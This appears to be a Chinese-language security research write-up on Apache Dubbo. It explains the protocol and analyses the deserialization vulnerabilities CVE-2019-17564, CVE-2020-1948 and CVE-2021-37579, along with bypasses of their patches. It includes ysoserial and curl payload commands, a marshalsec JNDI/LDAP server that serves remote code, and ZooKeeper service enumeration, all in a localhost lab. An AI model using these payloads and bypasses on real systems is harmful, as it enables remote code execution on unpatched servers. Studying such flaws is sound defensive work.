Dubbo

0x01 What Is Dubbo

Apache Dubbo是一款阿里巴巴开源的轻量、高性能的Java RPC框架

随着微服务的盛行,除开服务调用之外,Dubbo也逐渐涉猎服务治理、服务监控、服务网关等,往Spring Cloud靠拢。

Dubbo RPC支持多种序列化方式:dubbo、hessian2、kryo、fastjson、java

image-20230406151901889
  • Provider:服务提供方

  • Consumer:服务调用方

  • Registry:服务注册与发现的注册中心

  • Monitor:统计服务的调用次数和调用时间的监控中心

  • Container:服务运行容器

服务过程:

  1. Container启动Provider

  2. Provider启动时,向注册中心注册自己提供的服务

  3. Consumer启动时,向注册中心订阅自己需要的服务

  4. 注册中心返回服务地址列表给Consumer,注册中心基于长连接推送变更数据给Consumer

  5. Consumer根据服务地址列表,调用Provider的服务

  6. ConsumerProvider定时给Monitor发送统计数据(调用次数和时间)

Duubo协议:

采用单一长连接和 NIO 异步通讯,适合于小数据量大并发的服务调用

image-20230415142508797
  • 连接个数:单连接

  • 连接方式:长连接

  • 传输协议:TCP

  • 传输方式:NIO 异步传输

  • 序列化:默认 Hessian 二进制序列化

头字段:16 bytes totally

  1. 两个魔术字节(magic bytes) 0xdabb

  2. 一个标志字节(flag byte)

    • Req/Res:请求包为1、返回包为0(1bit)

    • 2Way:标记是否期望从服务器返回值(1 bit)

    • Event:标记是否是事件消息(1bit)

    • Serialization ID:序列化类型(Hessian2KryoJava)(5bits)

  3. 一个状态字节(status):Req/Res=0时有效(即返回包),标识响应状态(8 bits)

  4. Request ID:标识唯一请求(64bits 8bytes)

  5. Data Length:序列化后的内容长度 (32 bits 4bytes)

Variable Part:序列化后的内容

  • Dubbo version

  • Service name

  • Service version

  • Method name

  • Method parameter types

  • Method arguments

  • Attachments

image-20230415152422385
image-20230408163304279
image-20230408163018379

看一下Dubbo如何解析数据流的

org.apache.dubbo.rpc.protocol.dubbo.DubboCountCodec#decode => ExchangeCodec#decode

image-20230415152317973

头字段校验通过后,开始解析整段数据流,有几个常量用于提取flag字节的每个位

  • FLAG_REQUEST 0x80 -128 1000 0000

  • FLAG_TWOWAY 0x40 64 0100 0000

  • FLAG_EVENT 0x20 32 0010 0000

  • SERIALIZATION_MASK 0x1F 31 0001 1111

image-20230415154639352

接着封装了一个DecodeableRpcInvocation,用于后面解析远程调用

0x02 Quick Start

学习文档:基于 Dubbo API 开发微服务应用 | Apache Dubbo

image-20231023095159869

Dubbo的注册中心官方推荐使用Zookeeper,默认端口2181

通过注册中心,服务消费者可以感知到服务提供者的连接方式,从而将请求发送给正确的服务提供者。

下载👉Apache ZooKeeper

conf下有一个zoo_sample.cfg配置文件,复制一份并改名为zoo.cfg才能生效

Windows系统到bin下面直接使用zkServer.cmd命令启动

3.x

直接跟着官方文档做

2.x

2.x版本基于配置文件:

Server:

dubbo-provider.xml:

Client:

dubbo-consumer.xml:

0x03 Attack On Dubbo

Ⅰ. HttpInvoker Deser Without Security Check

🚩CVE-2019-17564

影响版本:

  1. 2.7.0 <= Apache Dubbo <= 2.7.4.1

  2. 2.6.0 <= Apache Dubbo <= 2.6.7

  3. Apache Dubbo = 2.5.x

  4. Spring-Web <= 5.1.9.RELEASE

📍漏洞点:Dubbo使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞。

Spring HTTP invoker 是Spring框架中的一个远程调用模型,执行基于HTTP的远程调用

在Spring文档中,对HttpInvokerServiceExporter有如下描述,并不建议使用:

WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code execution on the server during the deserialization step. As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead.

2.7.5后Dubbo使用com.googlecode.jsonrpc4j.JsonRpcServer替换了HttpInvokerServiceExporter

注:Dubbo3开始Http协议已经不再内嵌在Dubbo中,需要单独引入独立的模块。官方提供的样例👉git clone https://github.com/apache/dubbo-samples.git现在已经没有dubbo-sample-http🌿👊

provider.xml,指定了dubbo:protocolhttp协议,否则默认为dubbo协议

(vulhub上有这个环境,可以docker拉取把环境里的jar包拿出来放本地调试)

java -jar ysoserial.jar CommonsCollections6 "calc" > 1.poc

curl -XPOST --data-binary @1.poc http://127.0.0.1:8666/demo.DemoService

org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service,跟SpringMVCDispatcherServlet类似,根据访问URL决定交给哪个handler处理

image-20230413202112942

skeletonMap获取url对应skeleton,这里的skeleton就是Spring Web提供的危险类org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter

限制了只能是POST请求

image-20230413202315103

skeleton.handleRequest -> readRemoteInvocation 即读取远程调用信息,也就是我们传过来的数据。

根据这个类的描述Deserialize a RemoteInvocation object from the given InputStream.可知道接下来要对输入流进行反序列化了。这里也创建了一个ObjectInputStream对象了。

image-20230413202726879

org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation对我们传过来的参数进行反序列化,没有任何安全校验

image-20230413202840372

windows下powershell使用ysoserial生成payload会导致数据变化,换成cmd就正常了。否则反序列化的时候会报错

java.io.StreamCorruptedException: invalid stream header: FFFE08E1

正常的原生序列化头部应该是AC ED 00 05

高版本放弃了HttpInvokerServiceExporter,而是采用JsonRpcServer,该类没有进行反序列化的危险操作

image-20230413203704238

💦限制:

  • 默认Dubbo通信方式是Dubbo协议,不是HTTP

  • 需要知道目标Dubbo暴露的服务接口名(若目标Zookeeper存在未授权访问,可以找到接口名) ./zkCli -server target-ip:2181 ls /dubbo

Ⅱ. Service Not Found Deser Params Still

🚩CVE-2020-1948

影响版本:

  1. Apache Dubbo 2.7.0 ~ 2.7.6

  2. Apache Dubbo 2.6.0 ~ 2.6.7

  3. Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。

📍漏洞点:Dubbo服务端不会对客户端传入的调用服务名及参数进行检查,即使在服务端未找到对应的服务名,也会对客户端传入的参数进行反序列化操作

Dubbo默认使用的还是Hessian反序列化。

(如果用的Spring-Boot搭建,dubbo-spring-boot-starter 2.7.3没有@DubboService注解,换成@Service就好了;DubboReference同理)

先来看看Dubbo Provider接收到请求后的处理流程是咋样的

书接上文,dubbo协议头部校验通过后,对整块输入流进行解析,封装了一个DecodeableRpcInvocation对象来解码调用(decode

image-20231023150108525

根据dubbo协议头的序列化标记位决定使用哪种序列化方式。

image-20231023134349078

Dubbo支持的序列化方法还挺多的,包括GsonFastJsonHessianKryoFst

默认的序列化方式为Hessian

image-20231023135241145

Hessian2Serialization#deserialize实例化了一个Hessian2ObjectInput返回

接着从输入流读取如下内容:

  • Dubbo协议版本 (dubboVersion:3.7.6

  • 请求的服务路径 (path:demo.DemoService

  • 远程调用的方法名 (setMethodName:sayHi

  • 远程调用的方法参数类型 (desc:Ljava/lang/String;

image-20231023155059991

ServiceRepository查找是否存在要调用的服务,并获取服务方法对应的参数类型和返回类型。

image-20231023155434814

如果没有找到对应的服务,把从输入流读入的参数类型赋给pts

找不到服务理应退出函数、抛出异常等处理,但它继续解析下去了,根据参数类型对参数进行反序列化(这里是Hessian2ObjectInput#readObject(Class<?> cl)

image-20231023155643966

接着到了org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readObject,注意看这个包不是caucho的了

阿里魔改了Hessian,但主要逻辑没变,还是熟悉的味道。

image-20231024135907587

Dubbo下的Hessian删掉了UnsafeDeserializer,将JavaDeserializer作为默认的反序列化器

image-20231023160102886

JavaDeserializer获取类的实例对象是通过调用类的构造器来实例化对象的,从JavaDeserializer构造方法中发现,会选择参数和其权重最小的构造器。再通过反射给实例对象赋值。

JavaDeserializer#readObject 先实例化对象再反射赋值

反序列化得到对象后,有两种利用方式,见下

Exported Service Not Found -> toString

回到org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode -> decodeInvocationArgument

image-20230414192214426

如果当前传输的是一个回调函数,那么 Dubbo 会在客户端创建一个代理对象,并将代理对象传输给服务端。在服务端调用回调函数时,会将回调函数的代理对象传输回客户端,并通过代理对象来调用客户端的回调函数接口。在这个过程中,Dubbo 需要从channel中获取 URL 和环境等信息,并将其用于反序列化和执行回调函数。回调函数机制可以让服务端通过回调函数的代理对象来调用客户端的回调函数接口,实现双向通信。

image-20230414194508085

找不到对应的服务,抛出异常。invDecodeableRpcInvocation的实例对象

字符串拼接时会触发其toString()方法

实际上这时候DecodeableRpcInvocationarguments成员还是空的

image-20230414200155693

decode argument之后才setArguments,见下面调用栈

image-20230414195245992

接下来就是ROME利用链的核心了

toStringBean#toString->getter -> JdbcRowSetImpl#getDatabaseMetaData -> InitialContext#lookup

忘了的话回去看看。

POC:

java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc 8099

python -m http.server 8000

Hessian deserialization

上面是利用找不到服务抛出异常,打印异常信息时触发了toString

虽然找不到服务,但Dubbo仍然对我们传递的参数进行反序列化,这就可以利用Hessian反序列化的打法了。

MapDeserializer#readMap会进行map.put操作,进而触发key.hashCode()

踩坑记录:

🕒Dubbo默认反序列化器JavaDeserializer`的问题。

之前Rome利用链里加了ObjectBeanObjectBean是多余的),其构造器会初始化equalsBeannew EqualsBean(beanClass, obj);,而传入的参数都是nullEqualsBean这个构造器会抛出NullPointer异常

果然还是验证了奥卡姆剃刀原则——Entities should not be multiplied unnecessarily

如无必要,勿增实体👊

image-20230414204410105

🕓一开始我Duubo Consumer配置的是去ZooKeeper查询服务,用上面那种方法打的话,Zookeeper直接给你返回找不到服务了,就没有后文了。。。。实际上Consumer可以直接找Provider

过程就不分析了,和上面一样,后半段就是HessianRome的了。

Patch ByPass

2.7.7

2.7.7org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode中增加了如下判断

pts是方法参数类型的数组,找到服务接口和方法才会给它赋值,为空说明找不到服务接口或方法

此时若方法名不为$invoke$invokeAsync$echo其中一个,则抛出异常

把POC中的方法名修改一下就能打了

2.7.8

expect String 2 readObject

2.7.8isGenericCallisEcho要求更严格了,需要参数类型为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;Ljava/lang/Object;

回到DecodeableRpcInvocation#decode的代码

in.readUTF()读取了Dubbo的版本信息

调用Hessian2Input#readString,读取tag位,非String类型会抛出异常

throw expect("string", tag);

expect异常为打印错误信息,会反序列化对象,跟进readObject

image-20230415135707686

Hessian那节一样,读取标志位tag,根据tag选择不同的反序列化器,若tag等于72,就对应上MapDeserializer,调用raadMap触发map.put() => key.hashCode

因此我们可以通过控制最开始的数据流内容为序列化的HashMap对象,这样在读取版本信息的时候就会触发我们的恶意调用链。

这里会弹出两次计算器,原因是Object obj = readObject();之后打印异常信息时拼接了obj,触发toString

Event flag 2 readObject

开头讲Duubo解析头字段时,会读取一些flag位

image-20230415155516479

如果event位为1,进入decodeEventData -> in.readEvent() 里面调用了readObject

因此我们修改flag字节的event位为1即可

2.7.9

decodeEventData多了序列化长度的限制(50字节),超过就会抛出异常,这使得上面第二个方法Event flag 2 readObject很难利用(上面的payload长度为616字节,除非你能构造足够短的序列化流)

image-20230415161220246

但上面的expect String 2 readObject仍可以打,2.7.13前的都可以打

Ⅲ. Consumer Specified Deserialization

前面讲Dubbo协议时,说到Dubbo数据流中有个标志字节,可以指定序列化类型(5 bits)。

Dubbo支持很多序列化方案,如hessian2、kryo、json、native-java、fastjson、gson,默认的序列化方案是Hessian,之前讲Hessian的时候就发现Hessian比原生java反序列化有更多利用限制。既然Consumer可以自定义反序列化方法,那当然选择原生的java反序列化才有更大的利用空间。

官方当然也发现了这个问题,在2.6.10.1就引入了一个属性serialization.security.check来避免Consumer指定Provider的反序列化方式

Duubo启动类添加如下设置

🚩CVE-2021-37579

影响版本:

  • 2.7.x~2.7.12

  • 3.0.x ~ 3.0.1

📌漏洞点:Dubbo Provider会检查传入的请求,并且确保该请求的相应序列化类型符合服务器配置。但攻击者可以绕过该安全检查并使用原生的Java序列化机制触发反序列化动作。

和上面的分析流程一样,DecodeHandler#received接收到请求,后续交给DecodeableRpcInvocation#decode处理

image-20230417154406661

由于启动类设置了系统属性serialization.security.check,这里会进入判断

image-20230417154925079

多说一句,这里传入的序列化id是DecodeableRpcInvocation的属性serializationType

其构造函数会给serializationType赋值

image-20230417155419048

还记得哪里读取Dubbo数据流吗👉DubboCodec#decodeBody

image-20230417160055296

如果我们在构造Dubbo请求的时候,指定version为一个不存在的值

ProviderModel providerModel = repository.lookupExportedServiceWithoutGroup(path + ":" + version);找不到对应的provider model,就不会进入else去比对序列化id

providerModel == null会打印警告日志,不影响代码正常执行

image-20230417162011319

踩坑记录:

上面的POC没触发成功,刚开始还以为是端口问题,一点反应都没有

服务端ExchangeCodec#decode设置断点

image-20230417174514979

根据数据流的header中Data Length+Header Length(固定为16bytes)算出总数据流长度2355bytes,但readable却只有2048,刚刚好2048! 回看int readable = buffer.readableBytes();

发现buffer有个maxLength属性等于2048

payload超出buffer,需要缩短payload

Reference

Last updated

Was this helpful?